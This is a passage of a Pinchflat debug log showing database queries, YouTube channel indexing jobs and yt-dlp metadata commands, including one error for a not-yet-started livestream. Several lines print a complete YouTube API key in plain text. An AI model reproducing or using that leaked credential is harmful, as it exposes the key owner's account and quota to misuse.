[debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.456 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:35:44.457 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.457 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:44.622 [debug] QUERY OK source="media_items" db=0.6ms idle=165.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 16:35:44.623 [debug] QUERY OK source="media_items" db=0.3ms idle=166.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:35:44.624 [debug] QUERY OK source="tasks" db=0.1ms idle=167.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268275, 43, ~U[2026-10-09 21:35:44Z], ~U[2026-10-09 21:35:44Z]] 16:35:44.624 [info] {"args":{"id":43},"id":5268236,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":168186,"event":"job:stop","queue_time":1006537,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:44.630 [info] {"args":{"id":23},"id":5268237,"meta":{},"system_time":1791581744630129040,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:44.630 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:35:44.630 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.630 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:44.630 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.630 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:35:44.630 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.631 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:44.798 [info] {"source":"oban","duration":9788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:44.847 [debug] QUERY OK source="media_items" db=0.5ms idle=216.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 16:35:44.848 [debug] QUERY OK source="media_items" db=0.2ms idle=217.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:35:44.849 [debug] QUERY OK source="tasks" db=0.4ms idle=50.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268276, 23, ~U[2026-10-09 21:35:44Z], ~U[2026-10-09 21:35:44Z]] 16:35:44.850 [info] {"args":{"id":23},"id":5268237,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":219781,"event":"job:stop","queue_time":1011215,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:47.492 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cb/bd/cbbd440b3bf7d15237cac2cc82e876bbba8062229daba96427fba6314e857937.json --sleep-requests 84 --sleep-interval 90 --sleep-subtitles 73 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 16:35:47.492 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 16:35:47.493 [debug] QUERY OK source="media_items" db=1.3ms idle=798.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:35:47.494 [debug] QUERY OK source="tasks" db=0.1ms idle=800.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268277, 37, ~U[2026-10-09 21:35:47Z], ~U[2026-10-09 21:35:47Z]] 16:35:47.494 [info] {"args":{"id":37},"id":5268212,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":85445418,"event":"job:stop","queue_time":98194,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:00.402 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:09.157 [info] {"args":{"id":19},"id":5268238,"meta":{},"system_time":1791581769157252213,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:09.157 [debug] QUERY OK source="sources" db=0.1ms idle=463.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:36:09.157 [debug] QUERY OK source="settings" db=0.1ms idle=463.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.157 [debug] QUERY OK source="media_profiles" db=0.0ms idle=463.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:09.158 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.158 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:36:09.158 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.158 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:09.294 [debug] QUERY OK source="media_items" db=0.6ms idle=136.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 16:36:09.295 [debug] QUERY OK source="settings" db=0.0ms idle=137.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.295 [debug] QUERY OK source="settings" db=0.0ms idle=137.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.295 [debug] Running yt-dlp command for action: get_media_attributes 16:36:09.295 [debug] QUERY OK source="settings" db=0.0ms idle=137.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.295 [debug] QUERY OK source="settings" db=0.0ms idle=137.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.295 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:09.295 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/51/39/51395bec434a147d03b1e2a790f2d105a02b38c85ca9cd5c492f26d6ed9e7189.json --sleep-requests 78 --sleep-interval 80 --sleep-subtitles 86 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:14.808 [info] {"source":"oban","duration":9684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:44.818 [info] {"source":"oban","duration":9865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.403 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:14.827 [info] {"source":"oban","duration":7236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":2} 16:37:28.237 [info] {"args":{"id":36},"id":5268239,"meta":{},"system_time":1791581848237138946,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:28.237 [debug] QUERY OK source="sources" db=0.6ms idle=1543.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:37:28.238 [debug] QUERY OK source="settings" db=0.0ms idle=1544.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.238 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:28.238 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.238 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:37:28.238 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.238 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:28.449 [debug] QUERY OK source="media_items" db=0.7ms idle=210.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", 